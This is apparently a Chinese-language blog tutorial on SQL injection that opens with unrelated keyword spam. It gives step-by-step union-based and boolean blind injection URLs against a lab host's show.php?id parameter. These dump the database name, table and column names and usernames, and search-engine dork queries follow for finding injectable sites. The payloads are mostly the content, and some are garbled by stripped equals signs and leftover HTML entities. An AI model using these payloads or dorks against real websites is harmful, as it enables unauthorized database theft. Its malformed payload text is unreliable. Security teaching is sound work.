做网站那家比较好,开淘宝店铺的详细步骤,关于asp sql网站开发的书籍,我要自学网视频教程一、SQL注入分类
SQL注入根据攻击方式的不同#xff0c;可以分为以下几种类型#xff1a; 数字型注入字符型注入报错注入布尔盲注时间盲注联合查询注入基于堆叠的查询注入 二、SQL注入流程 发现注入点猜测字段数确定显示字段获取数据库信息获取数据库中的表获取表中的字段获…一、SQL注入分类
SQL注入根据攻击方式的不同可以分为以下几种类型 数字型注入字符型注入报错注入布尔盲注时间盲注联合查询注入基于堆叠的查询注入 二、SQL注入流程 发现注入点猜测字段数确定显示字段获取数据库信息获取数据库中的表获取表中的字段获取字段中的数据 例子
获取数据库名参考 字符限制数据库的名字可以包含字母、数字、下划线和美元符号$。但是名字不能以数字开头。 大小写敏感性在Windows系统上MySQL数据库的名字默认是不区分大小写的。但在大多数Unix/Linux系统上数据库的名字是区分大小写的。为了确保跨平台的兼容性建议使用小写字母。 长度限制数据库的名字最大长度为64个字符。
1.发现网站请求为get如果存在注入点这里不会报错
http://192.168.10.111/news/show.php?id-1 and 112.发现注入点后猜字段,逐一尝试猜测字段数
http://192.168.10.111/news/show.php?id-1 order by 16
-- order by x 根据第x个字段排序如果出现报错说明字段不存在3.发现不报错出现并且出现的数值为显示字段
http://192.168.10.111/news/show.php?id-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脱库
//获取当前数据库
http://192.168.10.111/news/show.php?id-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//获取数据库中的表hex的作用是因为拼接后的字符串有‘,’会混淆
192.168.10.111/news/show.php?id-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schemanews//获取表中的字段
192.168.10.111/news/show.php?id-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schemanews and table_namenews_users三、sql盲注
构造真或者假的问题对数据库进行提问 寻找sql注入点 1.在url后添加 ’ 如果报错说明有注入点 2.对数值型注入点可以进行减法 3.对在url后添加 and 12 如果没有正常显示说明有注入点 例子
-- 猜测数据库长度
http://192.168.10.111/news/show.php?id46 and length(database())4-- 或取当前数据库第二个字符
http://192.168.10.111/news/show.php?id46 and substr(database(),2,1)e-- 获取news数据库中所有表名长度
http://192.168.10.111/news/show.php?id46 and length((select group_concat(table_name)
from information_schema.tables where table_schemanews))98-- 获取表名字符串第一个字符
http://192.168.10.111/news/show.php?id46 and substr((select group_concat(table_name)
from information_schema.tables where table_schemanews),1,1)n-- 获取news库news_users表中字段字符串的字符串长度
http://192.168.10.111/news/show.php?id46 and length((select group_concat(column_name)
from information_schema.columns where table_schemanews and table_namenews_users))24-- 获取字段第一个字符
http://192.168.10.111/news/show.php?id46 and substr((select group_concat(column_name)
from information_schema.columns where table_schemanews and table_namenews_users),1,1)u-- 获取username字段中的信息长度
http://192.168.10.111/news/show.php?id46 and length((select group_concat(username) from
news.news_users))5-- 获取username字段的字符
http://192.168.10.111/news/show.php?id46 and substr((select group_concat(username) fromnews.news_users),2,1)d 注查找网站资源可使用hacking语法 inurl:?id url中存在?id Intitle:admin title中存在admin filetype:txt 查找网站中txt文件 site:www.baidu.com 在百度中查找